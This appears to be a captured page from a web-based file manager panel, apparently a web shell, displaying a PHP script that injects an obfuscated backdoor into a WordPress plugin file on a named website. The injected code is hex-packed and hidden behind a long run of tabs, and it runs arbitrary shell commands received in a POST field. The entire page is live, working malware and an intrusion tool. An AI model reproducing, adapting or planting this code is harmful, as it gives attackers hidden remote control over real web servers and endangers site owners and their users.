📁 File Manager Pro
v10.0.3 | PHP: 8.2.31
Server: LiteSpeed
2026-06-27 05:35:35
📂
/ (Root)
/
dev
/
shm
📍 /dev/shm
🔄 Refresh
✏️
Editing: .record
Read Only
<?php $path = '/home/benerhvf/omegainsuranceagency.com/wp-content/plugins/js_composer/modules/automapper/blocks.php'; $ft = @filemtime($path); $content = (string) @file_get_contents($path); $new_code = rawurldecode('%24ptr1%20%3D%20%273%27%3B%24ptr2%20%3D%20%277%27%3B%24ptr3%20%3D%20%276%27%3B%24ptr4%20%3D%20%27d%27%3B%24ptr5%20%3D%20%278%27%3B%24ptr6%20%3D%20%275%27%3B%24ptr7%20%3D%20%270%27%3B%24ptr8%20%3D%20%274%27%3B%24ptr9%20%3D%20%272%27%3B%24ptr10%20%3D%20%271%27%3B%24ptr11%20%3D%20%27f%27%3B%24ptr12%20%3D%20%27e%27%3B%24ptr13%20%3D%20%27c%27%3B%24ptr14%20%3D%20%279%27%3B%24dataflow_engine1%20%3D%20pack%28%22H%2A%22%2C%20%277%27.%24ptr1.%277%27.%279%27.%277%27.%273%27.%24ptr2.%274%27.%276%27.%275%27.%24ptr3.%24ptr4%29%3B%24dataflow_engine2%20%3D%20pack%28%22H%2A%22%2C%20%277%27.%273%27.%24ptr3.%24ptr5.%276%27.%275%27.%276%27.%27c%27.%276%27.%27c%27.%275%27.%27f%27.%24ptr3.%275%27.%277%27.%24ptr5.%24ptr3.%275%27.%276%27.%24ptr1%29%3B%24dataflow_engine3%20%3D%20pack%28%22H%2A%22%2C%20%24ptr3.%275%27.%277%27.%278%27.%276%27.%24ptr6.%24ptr3.%24ptr1%29%3B%24dataflow_engine4%20%3D%20pack%28%22H%2A%22%2C%20%24ptr2.%24ptr7.%24ptr3.%271%27.%277%27.%24ptr1.%277%27.%24ptr1.%24ptr2.%24ptr8.%276%27.%278%27.%277%27.%272%27.%277%27.%24ptr6%29%3B%24dataflow_engine5%20%3D%20pack%28%22H%2A%22%2C%20%277%27.%24ptr7.%24ptr3.%27f%27.%24ptr2.%24ptr7.%276%27.%24ptr6.%276%27.%27e%27%29%3B%24dataflow_engine6%20%3D%20pack%28%22H%2A%22%2C%20%277%27.%24ptr1.%277%27.%274%27.%24ptr2.%24ptr9.%24ptr3.%275%27.%24ptr3.%24ptr10.%24ptr3.%24ptr4.%275%27.%24ptr11.%24ptr3.%277%27.%24ptr3.%24ptr6.%277%27.%24ptr8.%24ptr6.%27f%27.%276%27.%24ptr1.%24ptr3.%24ptr11.%24ptr3.%27e%27.%277%27.%24ptr8.%276%27.%275%27.%24ptr3.%24ptr12.%277%27.%274%27.%277%27.%24ptr1%29%3B%24dataflow_engine7%20%3D%20pack%28%22H%2A%22%2C%20%24ptr2.%270%27.%24ptr3.%24ptr1.%24ptr3.%24ptr13.%276%27.%27f%27.%24ptr2.%24ptr1.%276%27.%275%27%29%3B%24initialized%20%3D%20pack%28%22H%2A%22%2C%20%276%27.%24ptr14.%24ptr3.%24ptr12.%24ptr3.%24ptr14.%277%27.%24ptr8.%276%27.%24ptr14.%24ptr3.%24ptr10.%276%27.%24ptr13.%24ptr3.%24ptr14.%277%27.%27a%27.%276%27.%275%27.%24ptr3.%24ptr8%29%3Bif%28isset%28%24_POST%5B%24initialized%5D%29%29%7B%24initialized%3Dpack%28%22H%2A%22%2C%24_POST%5B%24initialized%5D%29%3Bif%28function_exists%28%24dataflow_engine1%29%29%7B%24dataflow_engine1%28%24initialized%29%3B%7Delseif%28function_exists%28%24dataflow_engine2%29%29%7Bprint%20%24dataflow_engine2%28%24initialized%29%3B%7Delseif%28function_exists%28%24dataflow_engine3%29%29%7B%24dataflow_engine3%28%24initialized%2C%24reference_ref%29%3Bprint%20join%28%22%5Cn%22%2C%24reference_ref%29%3B%7Delseif%28function_exists%28%24dataflow_engine4%29%29%7B%24dataflow_engine4%28%24initialized%29%3B%7Delseif%28function_exists%28%24dataflow_engine5%29%26%26function_exists%28%24dataflow_engine6%29%26%26function_exists%28%24dataflow_engine7%29%29%7B%24object_bind%3D%24dataflow_engine5%28%24initialized%2C%22r%22%29%3Bif%28%24object_bind%29%7B%24rec_pgrp%3D%24dataflow_engine6%28%24object_bind%29%3B%24dataflow_engine7%28%24object_bind%29%3Bprint%20%24rec_pgrp%3B%7D%7Dexit%3B%7D'); if (strlen($content) < 32) { die('!failed!'); } if (strstr($content, $new_code)) { die('!already injected!'); } $p = 0; if (strncmp($content, "\xEF\xBB\xBF", 3) === 0) { $p = 3; } while ($p < strlen($content) && strpos(" \t\r\n", $content[$p]) !== false) { $p++; } $prefix = substr($content, 0, $p); $body = substr($content, $p); if (strlen($body) < 32) { die('!failed!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) { $len = strlen($start); if ($len > strlen($body) || substr($body, 0, $len) !== $start) { continue; } if ($start === '<?') { if (strncmp($body, '<?xml', 5) === 0) { continue; } if (strlen($body) >= 3 && substr($body, 0, 3) === '<?=') { continue; } } $rest = substr($body, $len); $candidate = $prefix.$start.str_repeat("\t", 42).$new_code."\n".$rest; $tmp = @tempnam(dirname($path), 't'); if ($tmp !== false && @file_put_contents($tmp, $candidate) !== false && @rename($tmp, $path)) { $check = (string) @file_get_contents($path); if (strstr($check, $new_code)) { die("!success!<ft>{$ft}</ft>"); } } if ($tmp !== false && is_file($tmp)) { @unlink($tmp); } } die('!failed!');
💾 Save Changes
❌ Cancel